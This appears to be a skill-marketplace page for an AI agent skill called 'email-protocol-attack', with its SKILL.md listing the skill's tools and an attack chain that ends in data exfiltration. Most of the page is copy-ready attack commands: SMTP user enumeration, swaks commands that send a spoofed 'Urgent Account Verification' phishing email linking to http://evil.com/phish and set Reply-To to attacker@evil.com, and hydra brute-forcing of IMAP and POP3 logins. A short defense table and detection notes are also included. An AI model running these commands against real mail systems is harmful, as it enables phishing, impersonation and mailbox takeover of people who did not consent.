用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/brucesongs/kali-claw --skill email-protocol-attack命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
正在显示 SKILL.md
| name | email-protocol-attack |
| description | Email protocol attacks targeting mail infrastructure at the protocol level. |
| origin | openclaw |
| version | 0.2.0.2 |
| compatibility | ["openclaw","claude-code","cursor","windsurf"] |
| allowed-tools | ["Bash","Read","Write","Edit","WebSearch","WebFetch"] |
| metadata | {"domain":"network-attack","tool_count":7,"guide_count":3,"mitre":"T1114-Email Collection","last_reviewed":"2026-07-26"} |
Supplementary Files:
payloads.md— Payload collection organized by 9 attack categories (SMTP enumeration, open relay, email forgery, SPF/DKIM/DMARC testing, IMAP brute force, Exchange attacks, header manipulation, TLS testing, fingerprinting)test-cases.md— Structured test case templates (8 cases covering enumeration, relay, forgery, SPF bypass, DKIM testing, IMAP brute force, Exchange exploitation, STARTTLS downgrade)guides/smtp-enumeration-relay-guide.md— SMTP reconnaissance and relay testing complete guideguides/email-forgery-spf-dkim-dmarc-guide.md— Email forgery and authentication bypass guideguides/imap-exchange-attack-guide.md— IMAP/POP3 and Exchange server attack guide
Email Protocol Attack skill domain covering network attack operations.
Tools: smtp-user-enum, swaks, sendemail, nailgun, smtpmap, mutt, openssl
Domain: network-attack
MITRE ATT&CK: T1114-Email Collection
Email protocol attacks targeting mail infrastructure at the protocol level. This covers the full attack chain from SMTP reconnaissance (user enumeration, banner grabbing, open relay detection) through email forgery (SPF/DKIM/DMARC bypass, header manipulation) to mailbox compromise (IMAP/POP3 credential attacks, Exchange exploitation). The skill addresses both offensive techniques and corresponding defense strategies for Postfix, Sendmail, Exchange, and Dovecot servers.
| Tool | Purpose | Command Example |
|---|---|---|
| smtp-user-enum | SMTP user enumeration via VRFY/EXPN/RCPT | smtp-user-enum -M VRFY -U users.txt -t 10.0.0.1 |
| swaks | Swiss Army Knife for SMTP testing, email forgery | swaks --to victim@target.com --from spoofed@evil.com |
| sendemail | Command-line email sending with TLS support | sendemail -f attacker@evil.com -t victim@target.com -u "Subject" -m "Body" |
| nailgun | High-performance SMTP stress testing and relay checking | nailgun -h mail.target.com -p 25 |
| smtpmap | SMTP server fingerprinting and software detection | smtpmap mail.target.com |
| mutt | Terminal-based email client for IMAP/POP3 interaction | mutt -f imaps://user:pass@mail.target.com/INBOX |
| openssl | TLS/STARTTLS testing for SMTP and IMAP connections | openssl s_client -starttls smtp -connect mail.target.com:25 |
Reconnaissance → Enumeration → Authentication Testing → Forgery/Phishing → Mailbox Access → Data Exfiltration
1. Reconnaissance (Information Gathering)
dig MX target.comnc mail.target.com 252. Enumeration (User Discovery)
3. Authentication Testing (Relay and Credential)
4. Forgery and Phishing (Email Protocol Attacks)
5. Mailbox Access (Post-Exploitation)
| Defense Measure | Description | Priority |
|---|---|---|
| SPF/DKIM/DMARC Deployment | Publish strict SPF records, sign with DKIM, enforce DMARC p=reject | CRITICAL |
| Disable VRFY/EXPN | Turn off SMTP verification commands to prevent user enumeration | HIGH |
| TLS Enforcement | Require TLS for all mail submission (port 587) and server-to-server transport | HIGH |
| Authentication Policies | Require strong authentication, implement account lockout and rate limiting | HIGH |
| Open Relay Prevention | Configure mail server to reject unauthenticated relay strictly | CRITICAL |
| Email Filtering | Deploy content filters, attachment scanning, and URL rewriting | MEDIUM |
| Monitoring and Logging | Log all SMTP sessions, alert on enumeration attempts and relay abuse | MEDIUM |
See payloads.md for detailed payloads, and test-cases.md for complete test checklist. Below is a summary of core operations at each stage.
# Query MX records
dig MX target.com +short
# Banner grabbing
nc mail.target.com 25
# Fingerprint mail server
smtpmap mail.target.com
# Full port scan for mail services
nmap -sV -p 25,110,143,465,587,993,995,2525 target.com
# VRFY method
smtp-user-enum -M VRFY -U /usr/share/wordlists/usernames.txt -t mail.target.com
# RCPT TO method
smtp-user-enum -M RCPT -U /usr/share/wordlists/usernames.txt -t mail.target.com
# EXPN method
smtp-user-enum -M EXPN -U /usr/share/wordlists/usernames.txt -t mail.target.com
# Basic spoofed email
swaks --to ceo@target.com --from support@bank.com --server mail.target.com \
--header "Subject: Urgent Account Verification" \
--body "Please verify your account at http://evil.com/phish"
# Test SPF handling
swaks --to test@target.com --from spoofed@external.com --server mail.target.com
# Test with custom headers
swaks --to victim@target.com --from admin@target.com \
--add-header "X-Priority: 1" \
--add-header "Reply-To: attacker@evil.com"
# Test STARTTLS on SMTP
openssl s_client -starttls smtp -connect mail.target.com:25 -showcerts
# Test IMAPS
openssl s_client -connect mail.target.com:993 -showcerts
# Test POP3S
openssl s_client -connect mail.target.com:995 -showcerts
# Check certificate validity and cipher suites
openssl s_client -starttls smtp -connect mail.target.com:25 2>/dev/null | openssl x509 -noout -dates -subject
# IMAP login test with mutt
mutt -f imaps://testuser:password@mail.target.com/INBOX
# Brute force with hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt mail.target.com imap
# POP3 credential testing
hydra -l admin -P /usr/share/wordlists/rockyou.txt mail.target.com pop3
аpple.com vs Latin apple.com; Unicode normalization detection.From: ceo@company.com but Reply-To: ceo@external.com.index=email sourcetype=mailscanner | where spf_result="fail" | stats count by sender_domainа (U+0430) vs Latin a (U+0061).Trust but Verify — Never trust email headers. Sender addresses, Reply-To fields, and routing information can all be forged at the protocol level. Verify mail authentication (SPF/DKIM/DMARC) independently.
First Principles — SMTP was designed for a trusted network without authentication. Understanding the protocol's original design (clear-text, no built-in security) explains every attack vector from enumeration to forgery.
Divergent Thinking — When direct email delivery is blocked, explore alternative paths: open relay through third-party servers, subdomain SPF misconfigurations, DKIM key length weaknesses, or DMARC subdomain policy gaps.
Economy of Mechanism — Simpler mail security is more reliable. A properly configured SPF + DKIM + DMARC chain with p=reject is more effective than complex content filtering rules that try to detect forged emails after acceptance.
Skill supplementary files:
payloads.md — Complete payload collection (9 attack categories, ready to copy and use)test-cases.md — Structured test cases (8 case templates, with prerequisites and expected results)guides/smtp-enumeration-relay-guide.md — SMTP enumeration and relay testing guideguides/email-forgery-spf-dkim-dmarc-guide.md — Email forgery and authentication bypass guideguides/imap-exchange-attack-guide.md — IMAP/Exchange server attack guideRelated Skills:
skills/network-pentest/SKILL.md — Network penetration testing foundationskills/social-engineering/SKILL.md — Social engineering and phishing campaignsskills/password-attack/SKILL.md — Password attack techniques for credential testingskills/recon-osint/SKILL.md — Open source intelligence for email harvestingExternal Resources:
基于 SOC 职业分类